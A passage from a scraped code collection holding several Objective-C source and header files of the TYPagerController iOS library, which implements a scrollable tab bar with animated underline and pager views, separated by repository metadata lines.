CGFloat detalR = narR - selR ,detalG = narG - selG,detalB = narB - selB,detalA = narA - selA;
fromCell.titleLabel.textColor = [UIColor colorWithRed:selR+detalR*progress green:selG+detalG*progress blue:selB+detalB*progress alpha:selA+detalA*progress];
toCell.titleLabel.textColor = [UIColor colorWithRed:narR-detalR*progress green:narG-detalG*progress blue:narB-detalB*progress alpha:narA-detalA*progress];
}
#pragma mark - progress View
// set up progress view frame
- (void)setUnderLineFrameWithIndex:(NSInteger)index animated:(BOOL)animated
{
UIView *progressView = _pagerTabBar.progressView;
if (progressView.isHidden || _pagerTabBar.countOfItems == 0) {
return;
}
CGRect cellFrame = [self cellFrameWithIndex:index];
CGFloat progressHorEdging = _progressWidth > 0 ? (cellFrame.size.width - _progressWidth)/2 : _progressHorEdging;
CGFloat progressX = cellFrame.origin.x+progressHorEdging;
CGFloat progressY = _barStyle == TYPagerBarStyleCoverView ? (cellFrame.size.height - _progressHeight)/2:(cellFrame.size.height - _progressHeight - _progressVerEdging);
CGFloat width = cellFrame.size.width-2*progressHorEdging;
if (animated) {
[UIView animateWithDuration:_animateDuration animations:^{
progressView.frame = CGRectMake(progressX, progressY, width, _progressHeight);
}];
}else {
progressView.frame = CGRectMake(progressX, progressY, width, _progressHeight);
}
}
- (void)setUnderLineFrameWithfromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress
{
UIView *progressView = _pagerTabBar.progressView;
if (progressView.isHidden || _pagerTabBar.countOfItems == 0) {
return;
}
CGRect fromCellFrame = [self cellFrameWithIndex:fromIndex];
CGRect toCellFrame = [self cellFrameWithIndex:toIndex];
CGFloat progressFromEdging = _progressWidth > 0 ? (fromCellFrame.size.width - _progressWidth)/2 : _progressHorEdging;
CGFloat progressToEdging = _progressWidth > 0 ? (toCellFrame.size.width - _progressWidth)/2 : _progressHorEdging;
CGFloat progressY = _barStyle == TYPagerBarStyleCoverView ? (toCellFrame.size.height - _progressHeight)/2:(toCellFrame.size.height - _progressHeight - _progressVerEdging);
CGFloat progressX = 0, width = 0;
if (_barStyle == TYPagerBarStyleProgressBounceView) {
if (fromCellFrame.origin.x < toCellFrame.origin.x) {
if (progress <= 0.5) {
progressX = fromCellFrame.origin.x + progressFromEdging;
width = (toCellFrame.size.width-progressToEdging+progressFromEdging+_cellSpacing)*2*progress + fromCellFrame.size.width-2*progressFromEdging;
}else {
progressX = fromCellFrame.origin.x + progressFromEdging + (fromCellFrame.size.width-progressFromEdging+progressToEdging+_cellSpacing)*(progress-0.5)*2;
width = CGRectGetMaxX(toCellFrame)-progressToEdging - progressX;
}
}else {
if (progress <= 0.5) {
progressX = fromCellFrame.origin.x + progressFromEdging - (toCellFrame.size.width-progressToEdging+progressFromEdging+_cellSpacing)*2*progress;
width = CGRectGetMaxX(fromCellFrame) - progressFromEdging - progressX;
}else {
progressX = toCellFrame.origin.x + progressToEdging;
width = (fromCellFrame.size.width-progressFromEdging+progressToEdging + _cellSpacing)*(1-progress)*2 + toCellFrame.size.width - 2*progressToEdging;
}
}
}else if (_barStyle == TYPagerBarStyleProgressElasticView) {
if (fromCellFrame.origin.x < toCellFrame.origin.x) {
if (progress <= 0.5) {
progressX = fromCellFrame.origin.x + progressFromEdging + (fromCellFrame.size.width-2*progressFromEdging)*progress;
width = (toCellFrame.size.width-progressToEdging+progressFromEdging+_cellSpacing)*2*progress - (toCellFrame.size.width-2*progressToEdging)*progress + fromCellFrame.size.width-2*progressFromEdging-(fromCellFrame.size.width-2*progressFromEdging)*progress;
}else {
progressX = fromCellFrame.origin.x + progressFromEdging + (fromCellFrame.size.width-2*progressFromEdging)*0.5 + (fromCellFrame.size.width-progressFromEdging - (fromCellFrame.size.width-2*progressFromEdging)*0.5 +progressToEdging+_cellSpacing)*(progress-0.5)*2;
width = CGRectGetMaxX(toCellFrame)-progressToEdging - progressX - (toCellFrame.size.width-2*progressToEdging)*(1-progress);
}
}else {
if (progress <= 0.5) {
progressX = fromCellFrame.origin.x + progressFromEdging - (toCellFrame.size.width-(toCellFrame.size.width-2*progressToEdging)/2-progressToEdging+progressFromEdging+_cellSpacing)*2*progress;
width = CGRectGetMaxX(fromCellFrame) - (fromCellFrame.size.width-2*progressFromEdging)*progress - progressFromEdging - progressX;
}else {
progressX = toCellFrame.origin.x + progressToEdging+(toCellFrame.size.width-2*progressToEdging)*(1-progress);
width = (fromCellFrame.size.width-progressFromEdging+progressToEdging-(fromCellFrame.size.width-2*progressFromEdging)/2 + _cellSpacing)*(1-progress)*2 + toCellFrame.size.width - 2*progressToEdging - (toCellFrame.size.width-2*progressToEdging)*(1-progress);
}
}
}else {
progressX = (toCellFrame.origin.x+progressToEdging-(fromCellFrame.origin.x+progressFromEdging))*progress+fromCellFrame.origin.x+progressFromEdging;
width = (toCellFrame.size.width-2*progressToEdging)*progress + (fromCellFrame.size.width-2*progressFromEdging)*(1-progress);
}
progressView.frame = CGRectMake(progressX,progressY, width, _progressHeight);
}
- (void)layoutSubViews {
if (CGRectIsEmpty(_pagerTabBar.frame)) {
return;
}
if (_barStyle == TYPagerBarStyleCoverView) {
self.progressHeight = CGRectGetHeight(_pagerTabBar.collectionView.frame) -self.progressVerEdging*2;
self.progressRadius = _progressRadius > 0 ? _progressRadius : self.progressHeight/2;
}
[self setUnderLineFrameWithIndex:_pagerTabBar.curIndex animated:NO];
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBarLayout.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 3,652
|
```objective-c
//
// TYTabPagerBar.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/13.
//
#import "TYTabPagerBar.h"
@interface TYTabPagerBar ()<UICollectionViewDelegateFlowLayout, UICollectionViewDataSource> {
struct {
unsigned int transitionFromeCellAnimated :1;
unsigned int transitionFromeCellProgress :1;
unsigned int widthForItemAtIndex :1;
}_delegateFlags;
TYTabPagerBarLayout *_layout;
}
// UI
@property (nonatomic, weak) UICollectionView *collectionView;
// Data
@property (nonatomic, assign) NSInteger countOfItems;
@property (nonatomic, assign) NSInteger curIndex;
@property (nonatomic, assign) BOOL isFirstLayout;
@property (nonatomic, assign) BOOL didLayoutSubViews;
@end
@implementation TYTabPagerBar
- (instancetype)initWithFrame:(CGRect)frame {
if (self = [super initWithFrame:frame]) {
_isFirstLayout = YES;
_didLayoutSubViews = NO;
_autoScrollItemToCenter = YES;
self.backgroundColor = [UIColor clearColor];
[self addFixAutoAdjustInsetScrollView];
[self addCollectionView];
[self addUnderLineView];
}
return self;
}
- (instancetype)initWithCoder:(NSCoder *)aDecoder {
if (self = [super initWithCoder:aDecoder]) {
_isFirstLayout = YES;
_didLayoutSubViews = NO;
_autoScrollItemToCenter = YES;
self.backgroundColor = [UIColor clearColor];
[self addFixAutoAdjustInsetScrollView];
[self addCollectionView];
[self addUnderLineView];
}
return self;
}
- (void)addFixAutoAdjustInsetScrollView {
UIView *view = [[UIView alloc]init];
[self addSubview:view];
}
- (void)addCollectionView {
UICollectionViewFlowLayout *layout = [[UICollectionViewFlowLayout alloc]init];
layout.scrollDirection = UICollectionViewScrollDirectionHorizontal;
UICollectionView *collectionView = [[UICollectionView alloc]initWithFrame:UIEdgeInsetsInsetRect(self.bounds, _contentInset) collectionViewLayout:layout];
collectionView.backgroundColor = [UIColor clearColor];
collectionView.showsHorizontalScrollIndicator = NO;
collectionView.showsVerticalScrollIndicator = NO;
if ([collectionView respondsToSelector:@selector(setPrefetchingEnabled:)]) {
collectionView.prefetchingEnabled = NO;
}
collectionView.delegate = self;
collectionView.dataSource = self;
[self addSubview:collectionView];
_collectionView = collectionView;
}
- (void)addUnderLineView {
UIView *progressView = [[UIView alloc]init];
progressView.backgroundColor = [UIColor redColor];
[_collectionView addSubview:progressView];
_progressView = progressView;
}
#pragma mark - getter setter
- (void)setProgressView:(UIView *)progressView {
if (_progressView == progressView) {
return;
}
if (_progressView) {
[_progressView removeFromSuperview];
}
if (_layout && _layout.barStyle == TYPagerBarStyleCoverView) {
progressView.layer.zPosition = -1;
[_collectionView insertSubview: progressView atIndex:0];
}else {
[_collectionView addSubview:progressView];
}
if (_layout && self.superview) {
[_layout layoutSubViews];
}
}
- (void)setBackgroundView:(UIView *)backgroundView {
if (_backgroundView) {
[_backgroundView removeFromSuperview];
}
_backgroundView = backgroundView;
backgroundView.frame = self.bounds;
[self insertSubview:backgroundView atIndex:0];
}
- (void)setDelegate:(id<TYTabPagerBarDelegate>)delegate {
_delegate = delegate;
_delegateFlags.transitionFromeCellAnimated = [delegate respondsToSelector:@selector(pagerTabBar:transitionFromeCell:toCell:animated:)];
_delegateFlags.transitionFromeCellProgress = [delegate respondsToSelector:@selector(pagerTabBar:transitionFromeCell:toCell:progress:)];
_delegateFlags.widthForItemAtIndex = [delegate respondsToSelector:@selector(pagerTabBar:widthForItemAtIndex:)];
}
- (void)setLayout:(TYTabPagerBarLayout *)layout {
BOOL updateLayout = _layout && _layout != layout;
_layout = layout;
if (updateLayout) {
[self reloadData];
}
}
- (TYTabPagerBarLayout *)layout {
if (!_layout) {
_layout = [[TYTabPagerBarLayout alloc]initWithPagerTabBar:self];
}
return _layout;
}
#pragma mark - public
- (void)reloadData {
_countOfItems = [_dataSource numberOfItemsInPagerTabBar];
if (_curIndex >= _countOfItems) {
_curIndex = _countOfItems - 1;
}
if ([_delegate respondsToSelector:@selector(pagerTabBar:configureLayout:)]) {
[_delegate pagerTabBar:self configureLayout:self.layout];
}
[self.layout layoutIfNeed];
[_collectionView reloadData];
[self.layout adjustContentCellsCenterInBar];
[self.layout layoutSubViews];
}
- (void)registerClass:(Class)Class forCellWithReuseIdentifier:(NSString *)identifier {
[_collectionView registerClass:Class forCellWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forCellWithReuseIdentifier:(NSString *)identifier {
[_collectionView registerNib:nib forCellWithReuseIdentifier:identifier];
}
- (__kindof UICollectionViewCell<TYTabPagerBarCellProtocol> *)dequeueReusableCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [_collectionView dequeueReusableCellWithReuseIdentifier:identifier forIndexPath:[NSIndexPath indexPathForItem:index inSection:0]];
return cell;
}
- (CGRect)cellFrameWithIndex:(NSInteger)index
{
if (index < 0) {
return CGRectZero;
}
if (index >= _countOfItems) {
return CGRectZero;
}
UICollectionViewLayoutAttributes * cellAttrs = [_collectionView layoutAttributesForItemAtIndexPath:[NSIndexPath indexPathForItem:index inSection:0]];
if (!cellAttrs) {
return CGRectZero;
}
return cellAttrs.frame;
}
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)cellForIndex:(NSInteger)index
{
if (index >= _countOfItems) {
return nil;
}
return (UICollectionViewCell<TYTabPagerBarCellProtocol> *)[_collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForItem:index inSection:0]];
}
- (void)scrollToItemFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animate:(BOOL)animate {
if (toIndex < _countOfItems && toIndex >= 0 && fromIndex < _countOfItems && fromIndex >= 0) {
_curIndex = toIndex;
[self transitionFromIndex:fromIndex toIndex:toIndex animated:animate];
if (_autoScrollItemToCenter) {
if (!_didLayoutSubViews) {
dispatch_async(dispatch_get_main_queue(), ^{
[self scrollToItemAtIndex:toIndex atScrollPosition:UICollectionViewScrollPositionCenteredHorizontally animated:animate];
});
}else {
[self scrollToItemAtIndex:toIndex atScrollPosition:UICollectionViewScrollPositionCenteredHorizontally animated:animate];
}
}
}
}
- (void)scrollToItemFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
if (toIndex < _countOfItems && toIndex >= 0 && fromIndex < _countOfItems && fromIndex >= 0) {
[self transitionFromIndex:fromIndex toIndex:toIndex progress:progress];
}
}
- (void)scrollToItemAtIndex:(NSInteger)index atScrollPosition:(UICollectionViewScrollPosition)scrollPosition animated:(BOOL)animated {
[_collectionView scrollToItemAtIndexPath:[NSIndexPath indexPathForItem:index inSection:0] atScrollPosition:scrollPosition animated:animated];
}
- (CGFloat)cellWidthForTitle:(NSString *)title {
if (!title) {
return CGSizeZero.width;
}
//iOS 7
CGRect frame = [title boundingRectWithSize:CGSizeMake(1000, 1000) options:NSStringDrawingTruncatesLastVisibleLine | NSStringDrawingUsesLineFragmentOrigin | NSStringDrawingUsesFontLeading attributes:@{ NSFontAttributeName:self.layout.selectedTextFont} context:nil];
return CGSizeMake(ceil(frame.size.width), ceil(frame.size.height) + 1).width;
}
#pragma mark - UICollectionViewDataSource
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section
{
_countOfItems = [_dataSource numberOfItemsInPagerTabBar];
return _countOfItems;
}
- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
{
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [_dataSource pagerTabBar:self cellForItemAtIndex:indexPath.item];
[self.layout transitionFromCell:(indexPath.item == _curIndex ? nil : cell) toCell:(indexPath.item == _curIndex ? cell : nil) animate:NO];
return cell;
}
#pragma mark - UICollectionViewDelegateFlowLayout
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath
{
if ([_delegate respondsToSelector:@selector(pagerTabBar:didSelectItemAtIndex:)]) {
[_delegate pagerTabBar:self didSelectItemAtIndex:indexPath.item];
}
}
- (CGSize)collectionView:(UICollectionView *)collectionView layout:(UICollectionViewLayout *)collectionViewLayout sizeForItemAtIndexPath:(NSIndexPath *)indexPath
{
if (self.layout.cellWidth > 0) {
return CGSizeMake(self.layout.cellWidth+self.layout.cellEdging*2, CGRectGetHeight(_collectionView.frame));
}else if(_delegateFlags.widthForItemAtIndex){
CGFloat width = [_delegate pagerTabBar:self widthForItemAtIndex:indexPath.item]+self.layout.cellEdging*2;
return CGSizeMake(width, CGRectGetHeight(_collectionView.frame));
}else {
NSAssert(NO, @"you must return cell width!");
}
return CGSizeZero;
}
#pragma mark - transition cell
- (void)transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated
{
UICollectionViewCell<TYTabPagerBarCellProtocol> *fromCell = [self cellForIndex:fromIndex];
UICollectionViewCell<TYTabPagerBarCellProtocol> *toCell = [self cellForIndex:toIndex];
if (_delegateFlags.transitionFromeCellAnimated) {
[_delegate pagerTabBar:self transitionFromeCell:fromCell toCell:toCell animated:animated];
}else {
[self.layout transitionFromCell:fromCell toCell:toCell animate:animated];
}
[self.layout setUnderLineFrameWithIndex:toIndex animated:fromCell && animated ? animated: NO];
}
- (void)transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress
{
UICollectionViewCell<TYTabPagerBarCellProtocol> *fromCell = [self cellForIndex:fromIndex];
UICollectionViewCell<TYTabPagerBarCellProtocol> *toCell = [self cellForIndex:toIndex];
if (_delegateFlags.transitionFromeCellProgress) {
[_delegate pagerTabBar:self transitionFromeCell:fromCell toCell:toCell progress:progress];
}else {
[self.layout transitionFromCell:fromCell toCell:toCell progress:progress];
}
[self.layout setUnderLineFrameWithfromIndex:fromIndex toIndex:toIndex progress:progress];
}
-(void)layoutSubviews {
[super layoutSubviews];
_backgroundView.frame = self.bounds;
CGRect frame = UIEdgeInsetsInsetRect(self.bounds, _contentInset);
BOOL needUpdateLayout = (frame.size.height > 0 && _collectionView.frame.size.height != frame.size.height) || (frame.size.width > 0 && _collectionView.frame.size.width != frame.size.width);
_collectionView.frame = frame;
if (!_didLayoutSubViews && !CGRectIsEmpty(_collectionView.frame)) {
_didLayoutSubViews = YES;
}
if (needUpdateLayout) {
[_layout invalidateLayout];
}
if (frame.size.height > 0 && frame.size.width > 0) {
[_layout adjustContentCellsCenterInBar];
}
_isFirstLayout = NO;
[_layout layoutSubViews];
}
- (void)dealloc {
_collectionView.dataSource = nil;
_collectionView.delegate = nil;
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBar.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 2,592
|
```objective-c
//
// TYTabPagerBarLayout.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/17.
//
#import <UIKit/UIKit.h>
#import "TYTabPagerBarCell.h"
NS_ASSUME_NONNULL_BEGIN
typedef NS_ENUM(NSUInteger, TYPagerBarStyle) {
TYPagerBarStyleNoneView,
TYPagerBarStyleProgressView,
TYPagerBarStyleProgressBounceView,
TYPagerBarStyleProgressElasticView,
TYPagerBarStyleCoverView,
};
@class TYTabPagerBar;
@interface TYTabPagerBarLayout : NSObject
@property (nonatomic, weak, readonly) TYTabPagerBar *pagerTabBar;
@property (nonatomic, assign, readonly) CGFloat selectFontScale;
// set barStyle will reset propertys, so you should first time set it,
@property (nonatomic, assign) TYPagerBarStyle barStyle; // default TYPagerBarStyleProgressElasticView
@property (nonatomic, assign) UIEdgeInsets sectionInset;
// progress view
@property (nonatomic, assign) CGFloat progressHeight; // default 2
@property (nonatomic, assign) CGFloat progressWidth; //if > 0 progress width is equal,else progress width is cell width
@property (nonatomic, strong, nullable) UIColor *progressColor;
@property (nonatomic, assign) CGFloat progressRadius; // height/2
@property (nonatomic, assign) CGFloat progressBorderWidth;
@property (nonatomic, strong, nullable) UIColor *progressBorderColor;
@property (nonatomic, assign) CGFloat progressHorEdging; // default 6, if < 0 width + edge ,if >0 width - edge
@property (nonatomic, assign) CGFloat progressVerEdging; // default 0, cover style is 3.
// cell frame
@property (nonatomic, assign) CGFloat cellWidth; // default 0, if > 0 cells width is equal,else if = 0 cell will call delegate
@property (nonatomic, assign) CGFloat cellSpacing; // default 2,cell space
@property (nonatomic, assign) CGFloat cellEdging; // default 0,cell left right edge
@property (nonatomic, assign) BOOL adjustContentCellsCenter;// default NO, cells center if contentSize < bar's width ,will set sectionInset
// TYTabPagerBarCellProtocol -> cell's label
@property (nonatomic, strong) UIFont *normalTextFont; // default 15
@property (nonatomic, strong) UIFont *selectedTextFont; // default 17
@property (nonatomic, strong) UIColor *normalTextColor; // default 51.51.51
@property (nonatomic, strong) UIColor *selectedTextColor; // default white
@property (nonatomic, assign) BOOL textColorProgressEnable; // default YES
// animate duration
@property (nonatomic, assign) CGFloat animateDuration; // default 0.3
- (instancetype)init NS_UNAVAILABLE;
+ (instancetype)new NS_UNAVAILABLE;
- (instancetype)initWithPagerTabBar:(TYTabPagerBar *)pagerTabBar NS_DESIGNATED_INITIALIZER;
- (void)layoutIfNeed;
- (void)invalidateLayout;
- (void)layoutSubViews;
- (void)adjustContentCellsCenterInBar;
// override
- (void)transitionFromCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *_Nullable)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *_Nullable)toCell animate:(BOOL)animate;
- (void)transitionFromCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *_Nullable)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *_Nullable)toCell progress:(CGFloat)progress;
- (void)setUnderLineFrameWithIndex:(NSInteger)index animated:(BOOL)animated;
- (void)setUnderLineFrameWithfromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBarLayout.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 826
|
```objective-c
//
// TYTabPagerView.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import "TYTabPagerView.h"
@interface TYTabPagerView ()<TYTabPagerBarDataSource,TYTabPagerBarDelegate,TYPagerViewDataSource, TYPagerViewDelegate>
// UI
@property (nonatomic, weak) TYTabPagerBar *tabBar;
@property (nonatomic, weak) TYPagerView *pageView;
// Data
@property (nonatomic, strong) NSString *identifier;
@end
@implementation TYTabPagerView
- (instancetype)initWithFrame:(CGRect)frame {
if (self = [super initWithFrame:frame]) {
_tabBarHeight = 36;
self.backgroundColor = [UIColor clearColor];
[self addTabBar];
[self addPagerView];
}
return self;
}
- (instancetype)initWithCoder:(NSCoder *)aDecoder {
if (self = [super initWithCoder:aDecoder]) {
_tabBarHeight = 36;
self.backgroundColor = [UIColor clearColor];
[self addTabBar];
[self addPagerView];
}
return self;
}
- (void)addTabBar {
TYTabPagerBar *tabBar = [[TYTabPagerBar alloc]initWithFrame:CGRectMake(0, 0, CGRectGetWidth(self.frame), _tabBarHeight)];
tabBar.dataSource = self;
tabBar.delegate = self;
[self addSubview:tabBar];
_tabBar = tabBar;
[self registerClass:[TYTabPagerBarCell class] forTabBarCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier]];
}
- (void)addPagerView {
TYPagerView *pageView = [[TYPagerView alloc]initWithFrame:CGRectMake(0, _tabBarHeight, CGRectGetWidth(self.frame), MAX(CGRectGetHeight(self.frame) - _tabBarHeight, 0))];
pageView.dataSource = self;
pageView.delegate = self;
[self addSubview:pageView];
_pageView = pageView;
}
#pragma mark - getter setter
- (void)setTabBarHeight:(CGFloat)tabBarHeight {
BOOL isChangeValue = _tabBarHeight != tabBarHeight;
_tabBarHeight = tabBarHeight;
if (isChangeValue && self.superview && !CGRectEqualToRect(self.bounds, CGRectZero)) {
[self setNeedsLayout];
[self layoutIfNeeded];
}
}
- (TYPagerViewLayout<UIView *> *)layout {
return _pageView.layout;
}
#pragma mark - public
- (void)updateData {
[_tabBar reloadData];
[_pageView updateData];
}
- (void)reloadData {
[_tabBar reloadData];
[_pageView reloadData];
}
// scroll to index
- (void)scrollToViewAtIndex:(NSInteger)index animate:(BOOL)animate {
[_pageView scrollToViewAtIndex:index animate:animate];
}
- (void)registerClass:(Class)Class forTabBarCellWithReuseIdentifier:(NSString *)identifier {
_identifier = identifier;
[_tabBar registerClass:Class forCellWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forTabBarCellWithReuseIdentifier:(NSString *)identifier {
_identifier = identifier;
[_tabBar registerNib:nib forCellWithReuseIdentifier:identifier];
}
- (void)registerClass:(Class)Class forPagerCellWithReuseIdentifier:(NSString *)identifier {
[_pageView registerClass:Class forViewWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forPagerCellWithReuseIdentifier:(NSString *)identifier {
[_pageView registerNib:nib forViewWithReuseIdentifier:identifier];
}
- (UIView *)dequeueReusablePagerCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
return [_pageView dequeueReusableViewWithReuseIdentifier:identifier forIndex:index];
}
#pragma mark - TYTabPagerBarDataSource
- (NSInteger)numberOfItemsInPagerTabBar {
return [_dataSource numberOfViewsInTabPagerView];
}
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)pagerTabBar:(TYTabPagerBar *)pagerTabBar cellForItemAtIndex:(NSInteger)index {
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [pagerTabBar dequeueReusableCellWithReuseIdentifier:_identifier forIndex:index];
cell.titleLabel.text = [_dataSource tabPagerView:self titleForIndex:index];
if ([_delegate respondsToSelector:@selector(tabPagerView:willDisplayCell:atIndex:)]) {
[_delegate tabPagerView:self willDisplayCell:cell atIndex:index];
}
return cell;
}
#pragma mark - TYTabPagerBarDelegate
- (CGFloat)pagerTabBar:(TYTabPagerBar *)pagerTabBar widthForItemAtIndex:(NSInteger)index {
NSString *title = [_dataSource tabPagerView:self titleForIndex:index];
return [pagerTabBar cellWidthForTitle:title];
}
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar didSelectItemAtIndex:(NSInteger)index {
[_pageView scrollToViewAtIndex:index animate:YES];
if ([_delegate respondsToSelector:@selector(tabPagerView:didSelectTabBarItemAtIndex:)]) {
[_delegate tabPagerView:self didSelectTabBarItemAtIndex:index];
}
}
#pragma mark - TYPagerViewDataSource
- (NSInteger)numberOfViewsInPagerView {
return [_dataSource numberOfViewsInTabPagerView];
}
- (UIView *)pagerView:(TYPagerView *)pagerView viewForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
UIView *view = [_dataSource tabPagerView:self viewForIndex:index prefetching:prefetching];
return view;
}
#pragma mark - TYPagerViewDelegate
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex animate:animated];
}
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex progress:progress];
}
- (void)pagerView:(TYPagerView *)pagerView willAppearView:(UIView *)view forIndex:(NSInteger)index {
if ([_delegate respondsToSelector:@selector(tabPagerView:willAppearView:forIndex:)]) {
[_delegate tabPagerView:self willAppearView:view forIndex:index];
}
}
- (void)pagerView:(TYPagerView *)pagerView didDisappearView:(UIView *)view forIndex:(NSInteger)index {
if ([_delegate respondsToSelector:@selector(tabPagerView:didDisappearView:forIndex:)]) {
[_delegate tabPagerView:self didDisappearView:view forIndex:index];
}
}
- (void)pagerViewWillBeginScrolling:(TYPagerView *)pageView animate:(BOOL)animate {
if ([_delegate respondsToSelector:@selector(tabPagerViewWillBeginScrolling:animate:)]) {
[_delegate tabPagerViewWillBeginScrolling:self animate:animate];
}
}
- (void)pagerViewDidEndScrolling:(TYPagerView *)pageView animate:(BOOL)animate {
if ([_delegate respondsToSelector:@selector(tabPagerViewDidEndScrolling:animate:)]) {
[_delegate tabPagerViewDidEndScrolling:self animate:animate];
}
}
- (void)layoutSubviews {
[super layoutSubviews];
_tabBar.frame = CGRectMake(0, 0, CGRectGetWidth(self.frame), _tabBarHeight);
_pageView.frame = CGRectMake(0, _tabBarHeight, CGRectGetWidth(self.frame), CGRectGetHeight(self.frame) - _tabBarHeight);
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerView.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,621
|
```objective-c
//
// TYTabPagerView.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import <UIKit/UIKit.h>
#import "TYPagerView.h"
#import "TYTabPagerBar.h"
NS_ASSUME_NONNULL_BEGIN
@class TYTabPagerView;
@protocol TYTabPagerViewDataSource <NSObject>
- (NSInteger)numberOfViewsInTabPagerView;
- (UIView *)tabPagerView:(TYTabPagerView *)tabPagerView viewForIndex:(NSInteger)index prefetching:(BOOL)prefetching;
- (NSString *)tabPagerView:(TYTabPagerView *)tabPagerView titleForIndex:(NSInteger)index;
@end
@protocol TYTabPagerViewDelegate <NSObject>
@optional
// display cell
- (void)tabPagerView:(TYTabPagerView *)tabPagerView willDisplayCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)cell atIndex:(NSInteger)index;
// did select cell item
- (void)tabPagerView:(TYTabPagerView *)tabPagerView didSelectTabBarItemAtIndex:(NSInteger)index;
// appear && disappear
- (void)tabPagerView:(TYTabPagerView *)tabPagerView willAppearView:(UIView *)view forIndex:(NSInteger)index;
- (void)tabPagerView:(TYTabPagerView *)tabPagerView didDisappearView:(UIView *)view forIndex:(NSInteger)index;
// scrolling
- (void)tabPagerViewWillBeginScrolling:(TYTabPagerView *)tabPagerView animate:(BOOL)animate;
- (void)tabPagerViewDidEndScrolling:(TYTabPagerView *)tabPagerView animate:(BOOL)animate;
@end
@interface TYTabPagerView : UIView
@property (nonatomic, weak, readonly) TYTabPagerBar *tabBar;
@property (nonatomic, weak, readonly) TYPagerView *pageView;
@property (nonatomic, strong, readonly) TYPagerViewLayout<UIView *> *layout;
@property (nonatomic, weak, nullable) id<TYTabPagerViewDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYTabPagerViewDelegate> delegate;
@property (nonatomic, assign) CGFloat tabBarHeight;
// register tabBar cell
- (void)registerClass:(Class)Class forTabBarCellWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forTabBarCellWithReuseIdentifier:(NSString *)identifier;
// register && dequeue pager Cell, usage like tableView
- (void)registerClass:(Class)Class forPagerCellWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forPagerCellWithReuseIdentifier:(NSString *)identifier;
- (UIView *)dequeueReusablePagerCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
- (void)scrollToViewAtIndex:(NSInteger)index animate:(BOOL)animate;
- (void)updateData;
- (void)reloadData;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerView.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 615
|
```objective-c
//
// TYTabPagerBar.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/13.
//
#import <UIKit/UIKit.h>
#import "TYTabPagerBarLayout.h"
NS_ASSUME_NONNULL_BEGIN
@class TYTabPagerBar;
@protocol TYTabPagerBarDataSource <NSObject>
- (NSInteger)numberOfItemsInPagerTabBar;
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)pagerTabBar:(TYTabPagerBar *)pagerTabBar cellForItemAtIndex:(NSInteger)index;
@end
@protocol TYTabPagerBarDelegate <NSObject>
@optional
// configure layout
